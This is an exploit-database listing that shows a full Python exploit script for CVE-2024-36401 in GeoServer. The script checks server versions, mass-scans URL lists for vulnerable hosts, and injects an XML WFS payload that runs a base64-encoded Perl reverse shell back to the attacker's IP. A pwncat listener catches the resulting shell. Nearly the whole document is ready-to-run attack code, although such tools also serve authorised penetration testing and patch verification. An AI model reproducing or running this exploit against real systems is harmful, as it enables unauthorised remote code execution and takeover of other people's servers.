Exploit database

GH-dfc95575b3f3737de7ecaf351e03171f

chocapikk/cve-2024-36401

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-36401

20 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
chocapikk/cve-2024-36401Revision 5bf2fc3e542f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 12,983 bytes
#!/usr/bin/env python3

import re
import base64
import socket
import requests
import threading
import pwncat.manager
import rich_click as click
import xml.etree.ElementTree as ET

from packaging import version
from urllib3 import disable_warnings
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor
from urllib3.exceptions import InsecureRequestWarning

disable_warnings(InsecureRequestWarning)


class GeoServerExploit:
    def __init__(
        self,
        url: str,
        remote_ip: str,
        remote_port: int,
        bind_host: str = None,
        bind_port: int = None,
        proxy: dict = None,
        threads: int = 1,
    ):
        self.url = url.rstrip("/") if url else None
        self.remote_ip = remote_ip
        self.remote_port = remote_port
        self.bind_host = bind_host if bind_host is not None else remote_ip
        self.bind_port = bind_port if bind_port is not None else remote_port
        self.proxy = proxy
        self.threads = threads
        self.payload_delivered = False
        self.listener_event = threading.Event()

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {
            "+": "green",
            "-": "red",
            "!": "yellow",
            "*": "blue",
            "~": "magenta",
        }
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(message, bold=True, fg="white")
        click.echo(formatted_message)

    def detect_version(self, url: str) -> bool:
        """
        Checks if the given URL is running a vulnerable version of GeoServer.
        """

        version_path = (
            "/geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage"
        )
        full_url = url.rstrip("/") + version_path

        try:
            response = requests.get(
                full_url, timeout=10, verify=False, allow_redirects=True
            )
            response.raise_for_status()
        except requests.RequestException:
            return False

        version_pattern = re.compile(
            r'<span\s+id="version">([\d\.]+)</span>', re.IGNORECASE
        )
        match = version_pattern.search(response.text)

        if match:
            detected_version = match.group(1)
            detected_version_parsed = version.parse(detected_version)

            if not isinstance(detected_version_parsed, version.Version):
                self.custom_print(
                    f"Invalid version format detected: {detected_version}", "-"
                )
                return False

            vulnerable_ranges = [
                (version.parse("2.23.0"), version.parse("2.23.6")),
                (version.parse("2.24.0"), version.parse("2.24.4")),
                (version.parse("2.25.0"), version.parse("2.25.1")),
            ]

            for start, end in vulnerable_ranges:
                if start <= detected_version_parsed < end:
                    self.custom_print(
                        f"Vulnerable GeoServer version detected at {url}: {detected_version}",
                        "+",
                    )
                    return True

        return False

    def construct_command(self):
        cmd = (
            f'perl -e \'use Socket;$i="{self.remote_ip}";$p={self.remote_port};'
            'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
            "if(connect(S,sockaddr_in($p,inet_aton($i)))){"
            'open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");'
            'exec("/bin/bash -i");};\''
        )
        cmd_b64 = base64.b64encode(cmd.encode()).decode()
        bash_command = f"sh -c echo${{IFS}}{cmd_b64}|base64${{IFS}}-d|sh"
        return bash_command

    def fetch_feature_types(self):
        feature_types = []
        try:
            response = requests.get(
                f"{self.url}/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0",
                proxies=self.proxy,
                timeout=10,
                verify=False,
            )
            if response.status_code == 200:
                tree = ET.fromstring(response.content)
                namespaces = {"wfs": "http://www.opengis.net/wfs/2.0"}
                feature_types = [
                    elem.text
                    for elem in tree.findall(".//wfs:ReturnFeatureType", namespaces)
                ]

                feature_types = feature_types[:15]

                self.custom_print(
                    f"Fetched {len(feature_types)} feature types successfully.", "+"
                )

                feature_types_per_row = 3
                for i in range(0, len(feature_types), feature_types_per_row):
                    row_feature_types = feature_types[i : i + feature_types_per_row]
                    self.custom_print(", ".join(row_feature_types), "~")

                self.custom_print("Attempting exploit with object types", "!")
            else:
                self.custom_print("Failed to fetch feature types from GeoServer.", "-")
        except Exception as e:
            self.custom_print(f"Error fetching feature types: {e}", "-")

        return feature_types

    def execute_exploit(self, object_type):
        """
        Attempts to deliver the exploit payload using the specified object type.
        """

        command = self.construct_command()
        full_url = f"{self.url}/geoserver/wfs"
        headers = {
            "Accept-Encoding": "gzip, deflate, br",
            "Accept": "*/*",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            "Connection": "close",
            "Content-Type": "application/xml",
        }

        payload = f"""
            <wfs:GetPropertyValue service='WFS' version='2.0.0'
            xmlns:topp='http://www.openplans.org/topp'
            xmlns:fes='http://www.opengis.net/fes/2.0'
            xmlns:wfs='http://www.opengis.net/wfs/2.0'>
            <wfs:Query typeNames='{object_type}'/>
            <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "{command}")</wfs:valueReference>
            </wfs:GetPropertyValue>
        """

        self.custom_print(f"Trying object type: {object_type}", "*")

        try:
            response = requests.post(
                full_url,
                headers=headers,
                data=payload,
                proxies=self.proxy,
                verify=False,
                timeout=10,
            )

            if response.status_code == 400 and "NoApplicableCode" in response.text:
                self.custom_print("Exploit delivered successfully.", "+")
                self.payload_delivered = True
                return True
            else:
                self.custom_print(
                    f"Exploit failed. Status code: {response.status_code}", "-"
                )
                return False

        except requests.exceptions.Timeout:
            self.custom_print("Connection timed out.", "-")
            return False

        except requests.exceptions.ConnectionError:
            self.custom_print("Connection error occurred.", "-")
            return False

        except requests.exceptions.RequestException as e:
            self.custom_print(f"An error occurred: {e}", "-")
            return False

    def start_listener(self):
        with socket.create_server((self.bind_host, self.bind_port)) as listener:
            listener.settimeout(None)
            self.custom_print(f"Listening on {self.bind_host}:{self.bind_port}...", "*")
            try:
                while not self.listener_event.is_set():
                    try:
                        listener.settimeout(1)
                        client, addr = listener.accept()
                        self.custom_print(
                            f"Received connection from {addr[0]}:{addr[1]}", "+"
                        )
                        with pwncat.manager.Manager() as manager:
                            manager.create_session(
                                platform="linux", protocol="socket", client=client
                            )
                            manager.interactive()
                            self.listener_event.set()
                    except socket.timeout:
                        continue

            except Exception as e:
                self.custom_print(f"An error occurred in listener: {e}", "-")

    def stop_listener_after_delay(self, delay=10):
        """
        Stops the listener after a specified delay in seconds.
        """
        if not self.payload_delivered:
            self.custom_print(
                f"Listener will stop in {delay} seconds if no connection is received...",
                "!",
            )

        threading.Timer(delay, self.listener_event.set).start()

    def run(self):
        """
        Runs the exploit against a single URL.
        """
        if not self.detect_version(self.url):
            self.custom_print(
                "The GeoServer version at the target URL is not vulnerable.", "-"
            )
            return

        listener_thread = threading.Thread(target=self.start_listener)
        listener_thread.daemon = True
        listener_thread.start()

        feature_types = self.fetch_feature_types()

        for feature_type in feature_types:
            if self.payload_delivered:
                self.custom_print(
                    "Stopping further attempts since the payload was delivered successfully.",
                    "*",
                )
                self.custom_print(
                    "If you are not receiving a connection, please verify your host and port setup.",
                    "!"
                )
                self.custom_print(
                    "Ensure the target is running Linux, and remember that this exploit may not cover all configurations.",
                    "!"
                )
                break
            self.execute_exploit(feature_type)

        self.stop_listener_after_delay(10)
        listener_thread.join()

    def scan_urls_from_file(self, file_path, output_file=None):
        """
        Scans multiple URLs from a file for vulnerable versions.
        """
        with open(file_path, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(
            len(urls), title="Scanning URLs", bar="smooth", enrich_print=False
        ) as bar:
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = {
                    executor.submit(self.detect_version, url): url for url in urls
                }
                for future in futures:
                    url = futures[future]
                    if future.result():
                        if output_file:
                            with open(output_file, "a") as f:
                                f.write(url + "\n")
                    bar()

        if output_file:
            self.custom_print(f"Vulnerable URLs written to {output_file}", "+")


@click.command()
@click.option("--url", "-u", required=False, help="Target URL for the exploit")
@click.option("--remote-ip", "-ip", required=False, help="Your IP for the reverse shell")
@click.option("--remote-port", "-rp", required=False, type=int, help="Port for the reverse shell")
@click.option("--bind-host", "-bh", help="Local bind host for the listener")
@click.option("--bind-port", "-bp", type=int, help="Local bind port for the listener")
@click.option("--proxy", "-p", default=None, help="Proxy URL, e.g., localhost:8080")
@click.option("--check", "-c", default=None, help="File containing URLs to scan")
@click.option("--output", "-o", default=None, help="Output file for vulnerable URLs")
@click.option("--threads", "-t", default=10, type=int, help="Number of threads for scanning")
def main(**kwargs):
    proxy_dict = (
        {"http": kwargs.get("proxy"), "https": kwargs.get("proxy")}
        if kwargs.get("proxy")
        else None
    )

    exploit = GeoServerExploit(
        url=kwargs.get("url"),
        remote_ip=kwargs.get("remote_ip"),
        remote_port=kwargs.get("remote_port"),
        bind_host=kwargs.get("bind_host"),
        bind_port=kwargs.get("bind_port"),
        proxy=proxy_dict,
        threads=kwargs.get("threads"),
    )

    if kwargs.get("check"):
        exploit.scan_urls_from_file(
            kwargs.get("check"), output_file=kwargs.get("output")
        )
    else:
        exploit.run()


if __name__ == "__main__":
    click.echo(
        """
       _____   _____   ___ __ ___ _ _     ____  __ _ _   __  _
      / __\ \ / / __|_|_  )  \_  ) | | __|__ / / /| | | /  \/ |
     | (__ \ V /| _|___/ / () / /|_  _|___|_ \/ _ \_  _| () | |
      \___| \_/ |___| /___\__/___| |_|   |___/\___/ |_| \__/|_|

      Exploit Developers: Chocapikk, K3ysTr0K3R
    """
    )
    main()